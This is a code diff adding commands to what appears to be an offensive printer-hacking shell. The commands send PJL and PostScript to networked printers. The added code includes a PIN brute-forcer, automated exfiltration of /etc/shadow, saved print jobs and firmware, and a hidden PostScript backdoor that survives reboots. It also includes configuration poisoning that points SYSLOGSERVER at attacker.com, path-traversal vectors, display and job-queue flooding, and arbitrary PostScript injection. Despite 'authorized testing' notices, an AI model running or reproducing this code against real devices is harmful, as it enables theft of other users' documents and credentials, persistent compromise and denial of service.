+ print("DESCRIPTION:")
2554
+ print(" Attempts to unlock a locked printer by brute forcing the PIN.")
2555
+ print(" Tests all PINs from 1 to 65535 (or specified range).")
2556
+ print(" Can take several hours for full range.")
2557
+ print()
2558
+ print("USAGE:")
2559
+ print(" unlock_bruteforce [start_pin]")
2560
+ print()
2561
+ print("EXAMPLES:")
2562
+ print(" unlock_bruteforce # Test PINs 1-65535")
2563
+ print(" unlock_bruteforce 1000 # Start from PIN 1000")
2564
+ print(" unlock_bruteforce 10000 # Start from PIN 10000")
2565
+ print()
2566
+ print("SECURITY IMPACT: MEDIUM-HIGH")
2567
+ print(" - Can bypass PIN protection")
2568
+ print(" - May trigger lockout after failed attempts")
2569
+ print(" - Very slow (hours for full range)")
2570
+ print(" - Network traffic easily detected")
2571
+ print()
2572
+ print("OPTIMIZATION:")
2573
+ print(" - Common PINs: 1234, 0000, 1111, 9999")
2574
+ print(" - Try common ranges first: 1-9999")
2575
+ print(" - Some printers lock after N attempts")
2576
+ print()
2577
+ print("NOTES:")
2578
+ print(" - Requires confirmation")
2579
+ print(" - Can be interrupted with Ctrl+C")
2580
+ print(" - Progress shown every 100 PINs")
2581
+ print(" - Full range: ~18 hours at 1 PIN/second")
2582
+ print()
2583
+
2584
+ def do_exfiltrate(self, arg):
2585
+ """Automated exfiltration of sensitive files"""
2586
+ output().info("Starting automated exfiltration...")
2587
+ output().info("Attempting to download sensitive files from printer")
2588
+
2589
+ # Common sensitive file paths across different printer models
2590
+ sensitive_paths = [
2591
+ # Web server configs
2592
+ ("0:/webServer/config/device.cfg", "Web server config"),
2593
+ ("0:/webServer/config/config.xml", "XML config"),
2594
+ ("0:/webServer/home/device.html", "Device home page"),
2595
+ ("0:/webServer/default/config.json", "JSON config"),
2596
+
2597
+ # System files (Unix-like)
2598
+ ("/etc/passwd", "Unix passwd"),
2599
+ ("/etc/shadow", "Unix shadow"),
2600
+ ("../../rw/var/sys/passwd", "Traversal passwd"),
2601
+ ("/var/log/messages", "System log"),
2602
+
2603
+ # Job files
2604
+ ("1:/saveDevice/SavedJobs/InProgress/*", "Jobs in progress"),
2605
+ ("1:/saveDevice/SavedJobs/KeepJobs/*", "Kept jobs"),
2606
+ ("0:/jobs/*", "Job directory"),
2607
+
2608
+ # PostScript/PCL configs
2609
+ ("1:/PostScript/ppd/device.ppd", "PPD file"),
2610
+ ("1:/PostScript/config.ps", "PS config"),
2611
+
2612
+ # Network configs
2613
+ ("0:/network/config.dat", "Network config"),
2614
+ ("0:/system/network.xml", "Network XML"),
2615
+
2616
+ # Firmware
2617
+ ("0:/firmware/current.bin", "Current firmware"),
2618
+ ("1:/firmware/backup.bin", "Backup firmware"),
2619
+ ]
2620
+
2621
+ exfil_count = 0
2622
+ exfil_dir = "exfiltrated"
2623
+
2624
+ # Create exfiltration directory
2625
+ if not os.path.exists(exfil_dir):
2626
+ os.makedirs(exfil_dir)
2627
+ output().info(f"✓ Created directory: {exfil_dir}/")
2628
+
2629
+ for path, description in sensitive_paths:
2630
+ output().info(f"Trying {description}: {path}")
2631
+
2632
+ try:
2633
+ # Handle wildcard paths
2634
+ if "*" in path:
2635
+ dir_path = path.replace("/*", "")
2636
+ dir_list = self.cmd(f"@PJL FSDIRLIST NAME=\"{dir_path}\"")
2637
+ if dir_list and len(dir_list.strip()) > 10:
2638
+ files = self.parse_dirlist(dir_list)
2639
+ for filename in files[:5]: # Limit to first 5 files
2640
+ file_path = f"{dir_path}/{filename}"
2641
+ self._exfil_single_file(file_path, exfil_dir)
2642
+ exfil_count += 1
2643
+ else:
2644
+ if self._exfil_single_file(path, exfil_dir):
2645
+ exfil_count += 1
2646
+
2647
+ except Exception as e:
2648
+ if self.debug:
2649
+ output().errmsg(f" Error: {e}")
2650
+ continue
2651
+
2652
+ output().info("")
2653
+ output().info("=" * 70)
2654
+ output().info(f"✓ Exfiltration complete: {exfil_count} files retrieved")
2655
+ output().info(f"✓ Files saved in: {exfil_dir}/")
2656
+ output().info("=" * 70)
2657
+
2658
+ if exfil_count == 0:
2659
+ output().warning("No sensitive files found or accessible")
2660
+ output().info("Try manual file enumeration with 'ls' and 'find'")
2661
+
2662
+ def _exfil_single_file(self, path, exfil_dir):
2663
+ """Helper: Exfiltrate a single file"""
2664
+ try:
2665
+ result = self.get(path)
2666
+ if result != c.NONEXISTENT:
2667
+ size, data = result
2668
+ # Sanitize filename
2669
+ filename = path.replace("/", "_").replace(":", "_").replace("*", "all")
2670
+ local_path = os.path.join(exfil_dir, filename)
2671
+ file().write(local_path, data)
2672
+ output().info(f" ✓ Exfiltrated: {path} ({size} bytes) → {local_path}")
2673
+ return True
2674
+ except:
2675
+ pass
2676
+ return False
2677
+
2678
+ def help_exfiltrate(self):
2679
+ """Automated exfiltration of sensitive files"""
2680
+ print()
2681
+ print("exfiltrate - Automated exfiltration of sensitive files")
2682
+ print("=" * 70)
2683
+ print("DESCRIPTION:")
2684
+ print(" Automatically attempts to download sensitive files from the printer.")
2685
+ print(" Tests multiple common paths for:")
2686
+ print(" - Configuration files (device.cfg, config.xml)")
2687
+ print(" - System files (/etc/passwd, /etc/shadow)")
2688
+ print(" - Print jobs (saved/retained jobs)")
2689
+ print(" - Network configs")
2690
+ print(" - Firmware files")
2691
+ print()
2692
+ print("USAGE:")
2693
+ print(" exfiltrate")
2694
+ print()
2695
+ print("EXAMPLES:")
2696
+ print(" exfiltrate # Auto-exfiltrate all accessible files")
2697
+ print()
2698
+ print("OUTPUT:")
2699
+ print(" - Creates 'exfiltrated/' directory")
2700
+ print(" - Saves all found files with sanitized names")
2701
+ print(" - Reports number of files retrieved")
2702
+ print()
2703
+ print("SECURITY IMPACT: CRITICAL")
2704
+ print(" - Exposes sensitive configuration")
2705
+ print(" - May reveal passwords/credentials")
2706
+ print(" - Access to other users' documents")
2707
+ print(" - Network information disclosure")
2708
+ print()
2709
+ print("PATHS TESTED:")
2710
+ print(" - Web server configs: 0:/webServer/config/*")
2711
+ print(" - System files: /etc/passwd, /etc/shadow")
2712
+ print(" - Print jobs: 1:/saveDevice/SavedJobs/*")
2713
+ print(" - Network configs: 0:/network/*")
2714
+ print(" - Firmware: 0:/firmware/*")
2715
+ print(" - And ~18 more common paths")
2716
+ print()
2717
+ print("NOTES:")
2718
+ print(" - Automatically creates exfiltrated/ directory")
2719
+ print(" - Only downloads accessible files")
2720
+ print(" - Progress shown for each path")
2721
+ print(" - For authorized testing only")
2722
+ print()
2723
+
2724
+ # ====================================================================
2725
+ # 🔓 ADVANCED CREDENTIAL/PERSISTENCE ATTACKS
2726
+ # ====================================================================
2727
+
2728
+ def do_backdoor(self, arg):
2729
+ """Install PostScript backdoor for persistence"""
2730
+ output().warning("═" * 70)
2731
+ output().warning("Installing PostScript backdoor for persistent access!")
2732
+ output().warning("This creates a PERSISTENT backdoor in the printer!")
2733
+ output().warning("═" * 70)
2734
+
2735
+ try:
2736
+ confirm = input("Install backdoor? (yes/no): ")
2737
+ if confirm.lower() != 'yes':
2738
+ output().info("Backdoor installation cancelled")
2739
+ return
2740
+ except (EOFError, KeyboardInterrupt):
2741
+ output().info("Installation cancelled")
2742
+ return
2743
+
2744
+ # Create backdoor PostScript code
2745
+ if arg and os.path.exists(arg):
2746
+ # Use provided backdoor file
2747
+ backdoor_ps = file().read(arg)
2748
+ if isinstance(backdoor_ps, bytes):
2749
+ backdoor_ps = backdoor_ps.decode('utf-8', errors='ignore')
2750
+ else:
2751
+ # Generate default backdoor
2752
+ backdoor_ps = """
2753
+ %!PS-Adobe-3.0
2754
+ % PrinterXPL-Forge Backdoor v1.0
2755
+ % Executes on every print job for data exfiltration
2756
+
2757
+ << /BeginPage {
2758
+ % Log job information
2759
+ (0:/backdoor_log.txt) (a) file
2760
+ /logfile exch def
2761
+
2762
+ % Write timestamp and job name
2763
+ (%Calendar%) currentdevparams /RealTime get
2764
+ logfile exch write==only
2765
+ ( - Job: ) logfile exch writestring
2766
+ statusdict /jobname known {
2767
+ statusdict /jobname get logfile exch writestring
2768
+ } if
2769
+ (\\n) logfile exch writestring
2770
+
2771
+ logfile closefile
2772
+ } >> setpagedevice
2773
+
2774
+ % Continue normal processing
2775
+ """
2776
+
2777
+ # Upload backdoor to hidden location
2778
+ backdoor_path = "0:/system/.backdoor.ps"
2779
+ size = self.put(backdoor_path, backdoor_ps.encode())
2780
+
2781
+ if size == c.NONEXISTENT:
2782
+ output().errmsg("Failed to upload backdoor")
2783
+ return
2784
+
2785
+ output().info(f"✓ Backdoor uploaded to {backdoor_path} ({size} bytes)")
2786
+
2787
+ # Configure printer to load backdoor on startup
2788
+ # Method 1: PJL startup job
2789
+ self.cmd(f"@PJL SET STARTUPJOB=\"{backdoor_path}\"")
2790
+ output().info("✓ Backdoor set as startup job")
2791
+
2792
+ # Method 2: PostScript configuration
2793
+ ps_init = f"""
2794
+ %!PS-Adobe-3.0
2795
+ ({backdoor_path}) run
2796
+ """
2797
+ self.put("0:/system/init.ps", ps_init.encode())
2798
+ self.cmd("@PJL SET PSINITJOB=\"0:/system/init.ps\"")
2799
+ output().info("✓ PostScript init configured")
2800
+
2801
+ # Method 3: Environment variable
2802
+ self.cmd(f"@PJL SET BACKDOOR=\"{backdoor_path}\"")
2803
+
2804
+ output().info("✓ Backdoor installed successfully!")
2805
+ output().warning("⚠ Backdoor will execute on EVERY print job!")
2806
+ output().warning("⚠ Survives printer reboots!")
2807
+ output().info("Log file: 0:/backdoor_log.txt")
2808
+ output().info("To remove: backdoor_remove or factory reset")
2809
+
2810
+ def help_backdoor(self):
2811
+ """Install PostScript backdoor"""
2812
+ print()
2813
+ print("backdoor - Install PostScript backdoor for persistence")
2814
+ print("=" * 70)
2815
+ print("DESCRIPTION:")
2816
+ print(" Installs a persistent PostScript backdoor that executes on every")
2817
+ print(" print job. Can be used for:")
2818
+ print(" - Data exfiltration (log job names, content)")
2819
+ print(" - Persistent access")
2820
+ print(" - Information gathering")
2821
+ print(" - Long-term monitoring")
2822
+ print()
2823
+ print("USAGE:")
2824
+ print(" backdoor [ps_file]")
2825
+ print()
2826
+ print("EXAMPLES:")
2827
+ print(" backdoor # Install default logging backdoor")
2828
+ print(" backdoor custom.ps # Install custom backdoor code")
2829
+ print()
2830
+ print("DEFAULT BACKDOOR:")
2831
+ print(" - Logs timestamp and job name to 0:/backdoor_log.txt")
2832
+ print(" - Executes on every print job")
2833
+ print(" - Survives reboots")
2834
+ print()
2835
+ print("CUSTOM BACKDOOR:")
2836
+ print(" - Provide PostScript file with your code")
2837
+ print(" - Code executes in BeginPage context")
2838
+ print(" - Has access to printer internals")
2839
+ print()
2840
+ print("SECURITY IMPACT: EXTREME")
2841
+ print(" - Persistent access")
2842
+ print(" - Data exfiltration")
2843
+ print(" - Survives reboots")
2844
+ print(" - Hard to detect")
2845
+ print()
2846
+ print("DETECTION:")
2847
+ print(" - Check startup jobs: variables")
2848
+ print(" - Look for hidden files: find / | grep '\\.'")
2849
+ print(" - Monitor for unusual log files")
2850
+ print()
2851
+ print("REMOVAL:")
2852
+ print(" - Use 'backdoor_remove' command")
2853
+ print(" - Or factory reset")
2854
+ print()
2855
+ print("⚠ WARNING: For authorized testing ONLY! May violate laws!")
2856
+ print()
2857
+
2858
+ def do_backdoor_remove(self, arg):
2859
+ """Remove installed backdoor"""
2860
+ output().info("Removing backdoor...")
2861
+
2862
+ try:
2863
+ # Remove backdoor files
2864
+ self.cmd("@PJL FSDELETE NAME=\"0:/system/.backdoor.ps\"")
2865
+ self.cmd("@PJL FSDELETE NAME=\"0:/system/init.ps\"")
2866
+ self.cmd("@PJL FSDELETE NAME=\"0:/backdoor_log.txt\"")
2867
+ output().info("✓ Backdoor files deleted")
2868
+
2869
+ # Clear startup jobs
2870
+ self.cmd("@PJL SET STARTUPJOB=\"\"")
2871
+ self.cmd("@PJL SET PSINITJOB=\"\"")
2872
+ self.cmd("@PJL SET BACKDOOR=\"\"")
2873
+ output().info("✓ Startup jobs cleared")
2874
+
2875
+ output().info("✓ Backdoor removed successfully!")
2876
+ output().info("Restart printer to ensure complete removal")
2877
+
2878
+ except Exception as e:
2879
+ output().errmsg(f"Backdoor removal failed: {e}")
2880
+ output().info("Factory reset may be required")
2881
+
2882
+ def help_backdoor_remove(self):
2883
+ """Remove backdoor"""
2884
+ print()
2885
+ print("backdoor_remove - Remove installed PostScript backdoor")
2886
+ print("=" * 70)
2887
+ print("DESCRIPTION:")
2888
+ print(" Removes previously installed backdoor.")
2889
+ print(" Deletes backdoor files and clears startup configurations.")
2890
+ print()
2891
+ print("USAGE:")
2892
+ print(" backdoor_remove")
2893
+ print()
2894
+ print("NOTES:")
2895
+ print(" - Reverses 'backdoor' command")
2896
+ print(" - Restart printer after removal")
2897
+ print(" - Factory reset also removes backdoor")
2898
+ print()
2899
+
2900
+ def do_poison(self, arg):
2901
+ """Configuration poisoning attack"""
2902
+ output().warning("═" * 70)
2903
+ output().warning("Configuration Poisoning Attack!")
2904
+ output().warning("This will set malicious configuration values!")
2905
+ output().warning("═" * 70)
2906
+
2907
+ try:
2908
+ confirm = input("Continue with poisoning? (yes/no): ")
2909
+ if confirm.lower() != 'yes':
2910
+ output().info("Configuration poisoning cancelled")
2911
+ return
2912
+ except (EOFError, KeyboardInterrupt):
2913
+ output().info("Attack cancelled")
2914
+ return
2915
+
2916
+ output().info("Setting malicious configuration values...")
2917
+
2918
+ # Poison various configuration variables
2919
+ malicious_configs = [
2920
+ # Path traversal attempts
2921
+ ("INTRAY1", "/../../../etc"),
2922
+ ("OUTBIN1", "/../../../tmp"),
2923
+
2924
+ # Memory/resource manipulation
2925
+ ("LPARM:PCL FONTSOURCE", "X"),
2926
+ ("LPARM:PCL FONTNUMBER", "999999"),
2927
+
2928
+ # Logging/debugging (may expose info)
2929
+ ("JOBLOG", "ON"),
2930
+ ("DEBUGLOG", "ON"),
2931
+ ("VERBOSELOG", "ON"),
2932
+
2933
+ # Network manipulation
2934
+ ("SYSLOGSERVER", "attacker.com"),
2935
+
2936
+ # Malicious paths
2937
+ ("DEFAULTDIR", "/../../../../etc"),
2938
+ ]
2939
+
2940
+ poisoned = 0
2941
+ for var, value in malicious_configs:
2942
+ try:
2943
+ self.cmd(f"@PJL SET {var}={value}")
2944
+ output().info(f" ✓ Poisoned: {var}={value}")
2945
+ poisoned += 1
2946
+ time.sleep(0.1)
2947
+ except Exception as e:
2948
+ if self.debug:
2949
+ output().errmsg(f" Failed: {var} - {e}")
2950
+
2951
+ output().info(f"✓ Configuration poisoning complete: {poisoned} variables set")
2952
+ output().warning("⚠ Printer configuration is now compromised!")
2953
+ output().info("To restore: Use factory reset or restore from backup")
2954
+
2955
+ def help_poison(self):
2956
+ """Configuration poisoning attack"""
2957
+ print()
2958
+ print("poison - Configuration poisoning attack")
2959
+ print("=" * 70)
2960
+ print("DESCRIPTION:")
2961
+ print(" Sets malicious configuration values to compromise printer security.")
2962
+ print(" Can be used for:")
2963
+ print(" - Path traversal setup")
2964
+ print(" - Resource exhaustion")
2965
+ print(" - Information disclosure (enable logging)")
2966
+ print(" - Network redirection")
2967
+ print()
2968
+ print("USAGE:")
2969
+ print(" poison")
2970
+ print()
2971
+ print("EXAMPLES:")
2972
+ print(" poison # Apply configuration poisoning")
2973
+ print()
2974
+ print("POISONED VARIABLES:")
2975
+ print(" - INTRAY1: Path traversal")
2976
+ print(" - OUTBIN1: Output redirection")
2977
+ print(" - FONTSOURCE/FONTNUMBER: Resource manipulation")
2978
+ print(" - JOBLOG/DEBUGLOG: Enable verbose logging")
2979
+ print(" - SYSLOGSERVER: Network redirection")
2980
+ print(" - DEFAULTDIR: Path traversal")
2981
+ print()
2982
+ print("SECURITY IMPACT: HIGH")
2983
+ print(" - Compromises printer security")
2984
+ print(" - May enable further attacks")
2985
+ print(" - Difficult to detect")
2986
+ print(" - Persistent until reset")
2987
+ print()
2988
+ print("REMOVAL:")
2989
+ print(" - Factory reset")
2990
+ print(" - Restore from backup")
2991
+ print(" - Manual variable reset")
2992
+ print()
2993
+ print("NOTES:")
2994
+ print(" - Requires confirmation")
2995
+ print(" - Not all variables work on all printers")
2996
+ print(" - Check with 'variables' after attack")
2997
+ print()
2998
+
2999
+ def do_traverse(self, arg):
3000
+ """Path traversal attack automated testing"""
3001
+ output().info("Path Traversal Attack - Automated Testing")
3002
+ output().info("Testing multiple path traversal vectors...")
3003
+
3004
+ # Common traversal patterns
3005
+ traversal_vectors = [
3006
+ "../../../etc/passwd",
3007
+ "../../rw/var/sys/passwd",
3008
+ "0:/../../../etc/shadow",
3009
+ "1:/../../etc/passwd",
3010
+ "/../../../../../../etc/passwd",
3011
+ "../../../../../../../etc/hosts",
3012
+ "..\\..\\..\\windows\\system32\\config\\sam", # Windows
3013
+ "../../../../../../../boot.ini",
3014
+ "0:/../../../../proc/version", # Linux
3015
+ ]
3016
+
3017
+ output().info(f"Testing {len(traversal_vectors)} traversal vectors...")
3018
+ print()
3019
+
3020
+ success_count = 0
3021
+ for vector in traversal_vectors:
3022
+ output().info(f"Testing: {vector}")
3023
+
3024
+ try:
3025
+ result = self.get(vector)
3026
+ if result != c.NONEXISTENT:
3027
+ size, data = result
3028
+ output().info(f" ✓ SUCCESS! Accessible ({size} bytes)")
3029
+ print(" " + "-" * 60)
3030
+ # Show first 200 chars
3031
+ preview = data.decode('utf-8', errors='ignore')[:200]
3032
+ print(f" {preview}")
3033
+ if len(data) > 200:
3034
+ print(f" ... ({size - 200} more bytes)")
3035
+ print(" " + "-" * 60)
3036
+ success_count += 1
3037
+ else:
3038
+ output().info(f" ✗ Not accessible")
3039
+ except Exception as e:
3040
+ if self.debug:
3041
+ output().errmsg(f" Error: {e}")
3042
+
3043
+ print()
3044
+
3045
+ output().info("=" * 70)
3046
+ output().info(f"✓ Path traversal test complete")
3047
+ output().info(f" Successful: {success_count}/{len(traversal_vectors)}")
3048
+ output().info("=" * 70)
3049
+
3050
+ def help_traverse(self):
3051
+ """Path traversal attack testing"""
3052
+ print()
3053
+ print("traverse - Automated path traversal attack testing")
3054
+ print("=" * 70)
3055
+ print("DESCRIPTION:")
3056
+ print(" Automatically tests multiple path traversal vectors to access")
3057
+ print(" files outside the intended directory. Tests common patterns like:")
3058
+ print(" - ../../../etc/passwd")
3059
+ print(" - ../../rw/var/sys/passwd")
3060
+ print(" - Volume-based traversal (0:/../../../)")
3061
+ print()
3062
+ print("USAGE:")
3063
+ print(" traverse")
3064
+ print()
3065
+ print("EXAMPLES:")
3066
+ print(" traverse # Test all traversal vectors")
3067
+ print()
3068
+ print("VECTORS TESTED:")
3069
+ print(" - Unix paths: ../../../etc/passwd, /etc/shadow")
3070
+ print(" - Embedded systems: ../../rw/var/sys/")
3071
+ print(" - Windows paths: ..\\..\\..\\windows\\system32\\")
3072
+ print(" - Volume traversal: 0:/../../../")
3073
+ print(" - Proc filesystem: /proc/version")
3074
+ print()
3075
+ print("SECURITY IMPACT: CRITICAL")
3076
+ print(" - Access to system files")
3077
+ print(" - Password file exposure")
3078
+ print(" - Configuration disclosure")
3079
+ print()
3080
+ print("OUTPUT:")
3081
+ print(" - Shows accessible paths")
3082
+ print(" - Displays first 200 bytes of content")
3083
+ print(" - Reports success rate")
3084
+ print()
3085
+ print("NOTES:")
3086
+ print(" - Tests ~10 common vectors")
3087
+ print(" - Non-destructive (read-only)")
3088
+ print(" - Results vary by printer model")
3089
+ print()
3090
+
3091
+ #====================================================================
3092
+ # 📊 ADDITIONAL INFO COMMANDS
3093
+ # ====================================================================
3094
+
3095
+ def do_info(self, arg):
3096
+ """Comprehensive information gathering - all PJL INFO commands"""
3097
+ if not arg:
3098
+ # Show all info categories
3099
+ output().info("Gathering comprehensive printer information...")
3100
+ print()
3101
+
3102
+ categories = [
3103
+ ("ID", "Device identification"),
3104
+ ("STATUS", "Current status"),
3105
+ ("CONFIG", "Configuration"),
3106
+ ("FILESYS", "Filesystem information"),
3107
+ ("MEMORY", "Memory information"),
3108
+ ("PAGECOUNT", "Page counter"),
3109
+ ("VARIABLES", "Environment variables"),
3110
+ ("USTATUS", "Unsolicited status"),
3111
+ ("PRODUCT", "Product information"),
3112
+ # Hidden / undocumented categories (old HP LaserJet)
3113
+ ("LOG", "Event log (undocumented)"),
3114
+ ("PRODINFO", "Product info extended (HP)"),
3115
+ ("TRACKING", "Tracking data (undocumented)"),
3116
+ ("SUPPLIES", "Supplies/toner status (undocumented)"),
3117
+ ("BRFIRMWARE", "Firmware version (Brother)"),
3118
+ ]
3119
+
3120
+ for cat, desc in categories:
3121
+ print("=" * 70)
3122
+ print(f"INFO {cat} - {desc}")
3123
+ print("=" * 70)
3124
+ result = self.cmd(f"@PJL INFO {cat}")
3125
+ if result and len(result.strip()) > 0:
3126
+ print(result)
3127
+ else:
3128
+ output().warning(f"No data for {cat}")
3129
+ print()
3130
+ else:
3131
+ # Show specific category
3132
+ category = arg.upper()
3133
+ output().info(f"Querying INFO {category}...")
3134
+ result = self.cmd(f"@PJL INFO {category}")
3135
+ if result:
3136
+ print(result)
3137
+ else:
3138
+ output().warning(f"No data for {category}")
3139
+
3140
+ def help_info(self):
3141
+ """Comprehensive information gathering"""
3142
+ print()
3143
+ print("info - Comprehensive PJL INFO commands")
3144
+ print("=" * 70)
3145
+ print("DESCRIPTION:")
3146
+ print(" Queries comprehensive information from the printer using")
3147
+ print(" PJL INFO commands. Can query all categories or specific ones.")
3148
+ print()
3149
+ print("USAGE:")
3150
+ print(" info # Query all information categories")
3151
+ print(" info <category> # Query specific category")
3152
+ print()
3153
+ print("CATEGORIES:")
3154
+ print(" ID # Device ID and model")
3155
+ print(" STATUS # Current printer status")
3156
+ print(" CONFIG # Configuration details")
3157
+ print(" FILESYS # Filesystem information")
3158
+ print(" MEMORY # Memory usage and available")
3159
+ print(" PAGECOUNT # Total pages printed")
3160
+ print(" VARIABLES # Environment variables")
3161
+ print(" USTATUS # Unsolicited status messages")
3162
+ print(" PRODUCT # Product information")
3163
+ print()
3164
+ print("EXAMPLES:")
3165
+ print(" info # Get all information")
3166
+ print(" info CONFIG # Get configuration only")
3167
+ print(" info MEMORY # Get memory info only")
3168
+ print()
3169
+ print("NOTES:")
3170
+ print(" - Without argument, queries ALL categories")
3171
+ print(" - Some categories may not be supported on all printers")
3172
+ print(" - Useful for reconnaissance and fingerprinting")
3173
+ print()
3174
+
3175
+ def do_scan_volumes(self, arg):
3176
+ """Scan all volumes for accessible files and directories"""
3177
+ output().info("Scanning all printer volumes...")
3178
+ print()
3179
+
3180
+ found_volumes = 0
3181
+ total_files = 0
3182
+
3183
+ for vol in range(10): # Volumes 0-9
3184
+ vol_name = f"{vol}:"
3185
+ output().info(f"Scanning volume {vol_name}...")
3186
+
3187
+ try:
3188
+ result = self.cmd(f"@PJL FSDIRLIST NAME=\"{vol_name}\"")
3189
+ if result and len(result.strip()) > 10:
3190
+ found_volumes += 1
3191
+ print("=" * 70)
3192
+ print(f"✓ Volume {vol_name} - ACCESSIBLE")
3193
+ print("=" * 70)
3194
+ print(result)
3195
+ print()
3196
+
3197
+ # Count files
3198
+ files = self.parse_dirlist(result)
3199
+ total_files += len(files)
3200
+ output().info(f" Files/Dirs found: {len(files)}")
3201
+ else:
3202
+ output().info(f" Volume {vol_name} - Not accessible or empty")
3203
+ except Exception as e:
3204
+ if self.debug:
3205
+ output().errmsg(f" Error: {e}")
3206
+ print()
3207
+
3208
+ output().info("=" * 70)
3209
+ output().info(f"✓ Volume scan complete:")
3210
+ output().info(f" Accessible volumes: {found_volumes}/10")
3211
+ output().info(f" Total files/dirs found: {total_files}")
3212
+ output().info("=" * 70)
3213
+
3214
+ def help_scan_volumes(self):
3215
+ """Scan all volumes"""
3216
+ print()
3217
+ print("scan_volumes - Scan all printer volumes for accessible content")
3218
+ print("=" * 70)
3219
+ print("DESCRIPTION:")
3220
+ print(" Scans all possible volumes (0: through 9:) to discover which")
3221
+ print(" are accessible and what files/directories they contain.")
3222
+ print(" Useful for reconnaissance and filesystem mapping.")
3223
+ print()
3224
+ print("USAGE:")
3225
+ print(" scan_volumes")
3226
+ print()
3227
+ print("EXAMPLES:")
3228
+ print(" scan_volumes # Scan volumes 0: through 9:")
3229
+ print()
3230
+ print("OUTPUT:")
3231
+ print(" - Shows accessible volumes")
3232
+ print(" - Lists files/directories in each volume")
3233
+ print(" - Reports total files found")
3234
+ print()
3235
+ print("NOTES:")
3236
+ print(" - Tests volumes 0: through 9:")
3237
+ print(" - Non-destructive (read-only)")
3238
+ print(" - May take 10-30 seconds")
3239
+ print()
3240
+
3241
+ # ====================================================================
3242
+ # 🔨 ADDITIONAL DOS/PHYSICAL ATTACKS
3243
+ # ====================================================================
3244
+
3245
+ def do_dos_display(self, arg):
3246
+ """DoS via display message spam"""
3247
+ count = conv().int(arg) or 100
3248
+
3249
+ output().warning(f"Display spam attack: {count} messages")
3250
+
3251
+ try:
3252
+ confirm = input(f"Spam {count} display messages? (yes/no): ")
3253
+ if confirm.lower() != 'yes':
3254
+ output().info("Display spam cancelled")
3255
+ return
3256
+ except (EOFError, KeyboardInterrupt):
3257
+ return
3258
+
3259
+ output().info(f"Sending {count} display messages...")
3260
+
3261
+ messages = [
3262
+ "SYSTEM ERROR",
3263
+ "PRINTER HACKED",
3264
+ "SECURITY BREACH",
3265
+ "UNAUTHORIZED ACCESS",
3266
+ "PLEASE POWER CYCLE",
3267
+ ]
3268
+
3269
+ for i in range(count):
3270
+ msg = messages[i % len(messages)] + f" #{i}"
3271
+ self.cmd(f"@PJL DISPLAY \"{msg}\"", False)
3272
+ if i % 10 == 0:
3273
+ output().info(f" Sent {i}/{count} messages...")
3274
+ time.sleep(0.05)
3275
+
3276
+ output().info(f"✓ Display spam complete: {count} messages sent")
3277
+
3278
+ def help_dos_display(self):
3279
+ """DoS via display spam"""
3280
+ print()
3281
+ print("dos_display - Denial of service via display message spam")
3282
+ print("=" * 70)
3283
+ print("DESCRIPTION:")
3284
+ print(" Floods the printer display with spam messages.")
3285
+ print(" Makes the printer difficult to use and may cause")
3286
+ print(" performance degradation or unresponsiveness.")
3287
+ print()
3288
+ print("USAGE:")
3289
+ print(" dos_display [count]")
3290
+ print()
3291
+ print("EXAMPLES:")
3292
+ print(" dos_display # Default: 100 messages")
3293
+ print(" dos_display 500 # Spam 500 messages")
3294
+ print()
3295
+ print("SECURITY IMPACT: MEDIUM")
3296
+ print(" - Display becomes unusable")
3297
+ print(" - User frustration")
3298
+ print(" - May degrade performance")
3299
+ print()
3300
+ print("RECOVERY:")
3301
+ print(" - Power cycle printer")
3302
+ print(" - Or wait for messages to clear")
3303
+ print()
3304
+
3305
+ def do_dos_jobs(self, arg):
3306
+ """DoS via print job flooding"""
3307
+ count = conv().int(arg) or 50
3308
+
3309
+ output().warning(f"Job flooding attack: {count} jobs")
3310
+
3311
+ try:
3312
+ confirm = input(f"Flood {count} print jobs? (yes/no): ")
3313
+ if confirm.lower() != 'yes':
3314
+ output().info("Job flooding cancelled")
3315
+ return
3316
+ except (EOFError, KeyboardInterrupt):
3317
+ return
3318
+
3319
+ output().info(f"Flooding printer with {count} jobs...")
3320
+
3321
+ for i in range(count):
3322
+ job_name = f"FloodJob_{i}"
3323
+ self.cmd(f"@PJL JOB NAME=\"{job_name}\"", False)
3324
+ # Send minimal data
3325
+ self.send(b"Test flood data\x0c")
3326
+ self.cmd("@PJL EOJ", False)
3327
+
3328
+ if i % 10 == 0:
3329
+ output().info(f" Sent {i}/{count} jobs...")
3330
+ time.sleep(0.05)
3331
+
3332
+ output().info(f"✓ Job flooding complete: {count} jobs sent")
3333
+ output().warning("⚠ Printer queue may be full!")
3334
+
3335
+ def help_dos_jobs(self):
3336
+ """DoS via job flooding"""
3337
+ print()
3338
+ print("dos_jobs - Denial of service via print job flooding")
3339
+ print("=" * 70)
3340
+ print("DESCRIPTION:")
3341
+ print(" Floods the printer with numerous print jobs to exhaust")
3342
+ print(" queue resources and prevent legitimate users from printing.")
3343
+ print()
3344
+ print("USAGE:")
3345
+ print(" dos_jobs [count]")
3346
+ print()
3347
+ print("EXAMPLES:")
3348
+ print(" dos_jobs # Default: 50 jobs")
3349
+ print(" dos_jobs 100 # Flood 100 jobs")
3350
+ print()
3351
+ print("SECURITY IMPACT: HIGH")
3352
+ print(" - Queue exhaustion")
3353
+ print(" - Legitimate users cannot print")
3354
+ print(" - May cause memory issues")
3355
+ print()
3356
+ print("RECOVERY:")
3357
+ print(" - Clear job queue from control panel")
3358
+ print(" - Restart printer")
3359
+ print()
3360
+
3361
+ def do_ps_inject(self, arg):
3362
+ """Inject PostScript code via PJL"""
3363
+ if not arg:
3364
+ output().errmsg("Usage: ps_inject <ps_file>")
3365
+ output().info("Injects PostScript code into printer")
3366
+ return
3367
+
3368
+ if not os.path.exists(arg):
3369
+ output().errmsg(f"File not found: {arg}")
3370
+ return
3371
+
3372
+ ps_code = file().read(arg)
3373
+ if not ps_code:
3374
+ return
3375
+
3376
+ output().warning("Injecting PostScript code...")
3377
+
3378
+ # Enter PostScript mode via PJL
3379
+ self.cmd("@PJL ENTER LANGUAGE=POSTSCRIPT")
3380
+
3381
+ # Send PostScript code
3382
+ self.send(ps_code)
3383
+ self.send(b"\x04") # EOT - End of transmission
3384
+
3385
+ output().info("✓ PostScript code injected")
3386
+ output().info("Code has been executed by the printer")
3387
+
3388
+ def help_ps_inject(self):
3389
+ """PostScript code injection"""
3390
+ print()
3391
+ print("ps_inject - Inject PostScript code via PJL")
3392
+ print("=" * 70)
3393
+ print("DESCRIPTION:")
3394
+ print(" Injects and executes PostScript code on the printer.")
3395
+ print(" Can be used for:")
3396
+ print(" - Code execution")
3397
+ print(" - Information gathering (PostScript operators)")
3398
+ print(" - File operations")
3399
+ print(" - Testing PostScript vulnerabilities")
3400
